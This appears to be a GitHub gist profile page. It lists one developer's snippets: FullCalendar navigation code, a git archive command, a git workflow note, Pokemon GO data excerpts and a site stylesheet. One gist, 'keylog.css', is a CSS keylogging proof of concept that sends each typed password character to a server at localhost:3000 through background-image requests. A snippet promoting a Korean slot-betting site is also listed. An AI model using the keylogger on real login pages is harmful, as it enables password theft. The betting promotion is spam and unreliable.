Skip to content

Instantly share code, notes, and snippets.

View JefMari's full-sized avatar
🎯
Doing things to improve the lives of frontend devs

Jeferson Mari JefMari

🎯
Doing things to improve the lives of frontend devs
View GitHub Profile
@JefMari
JefMari / sprout-site.min.css
Created August 6, 2018 04:57
Sprout Site min css
/* Please see documentation at https://docs.microsoft.com/aspnet/core/client-side/bundling-and-minification\
for details on configuring this project to bundle and minify static web assets. */
body {
}
/* Wrapping element */
/* Set some basic padding to keep content from hitting the edges */
.body-content {
padding-left: 15px;
padding-right: 15px;
@JefMari
JefMari / keylog.css
Created February 22, 2018 03:23
CSS Keylogging via for logins who store the string into an HTML attribute
input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }
input[type="password"][value$="!"] { background-image: url("http://localhost:3000/%21"); }
input[type="password"][value$="\""] { background-image: url("http://localhost:3000/%22"); }
input[type="password"][value$="#"] { background-image: url("http://localhost:3000/%23"); }
input[type="password"][value$="$"] { background-image: url("http://localhost:3000/%24"); }
input[type="password"][value$="%"] { background-image: url("http://localhost:3000/%25"); }
input[type="password"][value$="&"] { background-image: url("http://localhost:3000/%26"); }
input[type="password"][value$="'"] { background-image: url("http://localhost:3000/%27"); }
input[type="password"][value$="("] { background-image: url("http://localhost:3000/%28"); }
input[type="password"][value$=")"] { background-image: url("http://localhost:3000/%29"); }
@JefMari
JefMari / fullcalendar-disableNextorProve
Last active February 9, 2018 06:24
fullcalendar disable next and prev button depending on date
viewRender: function(currentView) {
var minDate = moment(); // Today
var maxDate = moment().add(2, 'weeks'); //Add 2 weeks for Today
var navContainer = currentView.el.parent().prev()
var disablePrev = currentView.start <= minDate;
var disableNext = currentView.end >= maxDate;
$(".fc-prev-button", navContainer).prop('disabled', disablePrev);
$(".fc-prev-button", navContainer).toggleClass('fc-state-disabled', disablePrev);
$(".fc-next-button", navContainer).prop('disabled', disableNext);
@JefMari
JefMari / fullCalendarDisablePrevNext.js
Created February 9, 2018 05:50 — forked from juanbrujo/fullCalendarDisablePrevNext.js
jQuery FullCalendar.js: disable prev/next button for past/future dates
$('#calendar').fullCalendar({
viewRender: function(currentView){
var minDate = moment(),
maxDate = moment().add(2,'weeks');
// Past
if (minDate >= currentView.start && minDate <= currentView.end) {
$(".fc-prev-button").prop('disabled', true);
$(".fc-prev-button").addClass('fc-state-disabled');
}
else {
@JefMari
JefMari / how-to.txt
Created November 17, 2017 12:25 — forked from simonw/how-to.md
How to create a tarball of a git repository using "git archive"
git archive --format=tar.gz -o /tmp/my-repo.tar.gz --prefix=my-repo/ master
@JefMari
JefMari / simple-git-workflow.md
Created May 24, 2017 09:41 — forked from leesmith/simple-git-workflow.md
Simple Git Workflow For Continuous Delivery

Simple Git Workflow For Continuous Delivery

Workflow guidelines:

  • master branch is always production-ready, deployable, 100% green test suite
  • New development is done on feature branches, with frequent rebasing onto master
  • Clean commit history by preferring to rebase instead of merge (git pull is configured to automatically rebase)

rebase workflow

Workflow

<body>
<div class="main-body">
<img src="https://cloud.githubusercontent.com/assets/12628112/19336965/a81e6c20-9142-11e6-8f27-52afae7ec207.png" />
<h1>슬롯 1등 에그벳</h1>
<h2>EGGC 에그벳 새로운 주소는</h2>
<h2><a class="blog" href="https://eggckor.com/" target="_blank">https://eggckor.com/</a>입니다. <a href="https://eggckor.com/" target="_blank" class="rainbow"> ☜ 클릭하세요</a></h2>
<h2>http<span class="red">s</span>:// << <span class="red">S</span>를 꼭 붙여주세요</h2>
@JefMari
JefMari / react-logo-w-bg.svg
Created October 5, 2016 06:22 — forked from vslinko/react-logo-w-bg.svg
react.js logo for tshirt
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@JefMari
JefMari / GAME_MASTER_v0_1.json
Created August 11, 2016 04:48 — forked from rmkane/GAME_MASTER_v0_1.json
Pokemon GO Game Data
{
"Items": [ {
"TemplateId": "BADGE_BATTLE_ATTACK_WON",
"Badge": {
"BadgeType": "BADGE_BATTLE_ATTACK_WON",
"BadgeRanks": 4,
"Targets": "\\nd\\350\\007"
}
}, {
"TemplateId": "BADGE_BATTLE_TRAINING_WON",
@JefMari
JefMari / GAME_MASTER_v0_1.protobuf
Created August 11, 2016 04:47 — forked from anonymous/GAME_MASTER_v0_1.protobuf
Pokemon Go decoded GAME_MASTER protobuf file v0.1
Result: 1
Items {
TemplateId: "BADGE_BATTLE_ATTACK_WON"
Badge {
BadgeType: BADGE_BATTLE_ATTACK_WON
BadgeRanks: 4
Targets: "\nd\350\007"
}
}
Items {